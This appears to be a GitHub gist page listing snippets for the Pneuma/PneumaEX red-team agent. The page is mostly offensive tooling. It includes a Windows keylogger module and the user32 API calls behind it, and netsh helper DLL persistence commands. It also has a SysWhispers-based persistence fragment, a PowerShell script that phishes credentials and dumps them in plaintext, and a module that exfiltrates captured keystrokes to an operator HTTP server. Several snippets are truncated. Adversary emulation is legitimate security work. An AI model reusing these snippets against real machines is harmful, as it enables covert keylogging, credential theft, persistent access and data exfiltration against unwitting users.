Skip to content

Instantly share code, notes, and snippets.

Avatar
👾
Working from the Immaterium

Alex khyberspache

👾
Working from the Immaterium
View GitHub Profile
@khyberspache
khyberspache / commands_other.go
Created Jan 19, 2021
Define build for non-windows platforms
View commands_other.go
//+build !windows
package commands
func CallNativeAPI(task string) (string, int, int) {
return "Not implemented for non-Windows platforms", 1, -1
}
@khyberspache
khyberspache / commands.go
Last active Jan 19, 2021
Pneuma commands file for an internal API task
View commands.go
if executor == "keyword" {
task := splitMessage(message, '.')
if task[0] == "api" {
return CallNativeAPI(task[1])
} else if task[0] == "config" {
return updateConfiguration(task[1], agent)
}
return "Keyword selected not available for agent", 0, 0
}
@khyberspache
khyberspache / commands.go
Last active Jan 19, 2021
PneumaEX command handler for modules
View commands.go
if executor == "keyword" {
task := splitMessage(message, '.')
if task[0] == "module" {
var err error
if !contains(util.InstalledModuleKeywords, task[1] + "." + task[2]) {
err = util.InstallModule(task[1], payloadPath)
}
if err != nil {
return err.Error(), 1, -1
}
@khyberspache
khyberspache / pneumaEXModule.yml
Created Jan 19, 2021
PneumaEX module for keylogging on Windows
View pneumaEXModule.yml
platforms:
windows:
keyword:
command: module.collect.keyLogger
payload: "#{operator.payloads}/pneumaEX/collect/collect-windows.exe"
@khyberspache
khyberspache / loadingWinDLL.go
Created Jan 19, 2021
Example of loading windows DLL and Procs for keylogging
View loadingWinDLL.go
var (
user32 = syscall.NewLazyDLL("user32.dll")
getAsyncKeyState = user32.NewProc("GetAsyncKeyState")
getKeyboardLayout = user32.NewProc("GetKeyboardLayout")
getKeyState = user32.NewProc("GetKeyState")
toUnicodeEx = user32.NewProc("ToUnicodeEx")
)
@khyberspache
khyberspache / netsh_helper_dll.yml
Created Jan 19, 2021
Example command for using Helper DLL persistence
View netsh_helper_dll.yml
platforms:
windows:
exec:
command: 'netsh.exe add helper #{agent.location}\..\netShHelperDll.dll'
payload: '#{operator.payloads}/persistence/netsh/netShHelperDll.dll'
cmd:
command: 'netsh.exe add helper #{agent.location}\..\netShHelperDll.dll'
payload: '#{operator.payloads}/persistence/netsh/netShHelperDll.dll'
@khyberspache
khyberspache / whisperNetshHelperPersist.cpp
Created Jan 19, 2021
Use SysWhispers with NetSh DLL helper persistence to spawn processes at a given registry key
View whisperNetshHelperPersist.cpp
#include <locale>
#include <cstdlib>
#include <stdio.h>
#include <string>
#include <Windows.h>
#include "Syscalls.h"
LONG GetStringRegKey(HKEY, const std::wstring&, std::wstring&, const std::wstring&);
DWORD WINAPI RunBin(LPVOID lpParameter) {
@khyberspache
khyberspache / Invoke-PromptForCredentials.ps1
Last active Jan 19, 2021
Prompt a user for credentials on Windows and dump in plaintext
View Invoke-PromptForCredentials.ps1
$type=@"
using System;
using System.Text;
using System.Runtime.InteropServices;
public static class CredUI
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
private struct CREDUI_INFO
@khyberspache
khyberspache / standalone_func.go
Created Dec 23, 2020
Standalone function call example for PneumaEX
View standalone_func.go
RunStandalone("GoCapture", "C:\File\Path\To\Capture\into.tmp")
@khyberspache
khyberspache / modular_command_args.yml
Created Dec 23, 2020
Example of argument passthrough to module for PneumaEX
View modular_command_args.yml
command: |
module.exfil.httpServer.["#{operator.http}", "#{file.T1056.001}", "#{agent.name}", "#{operator.session}"]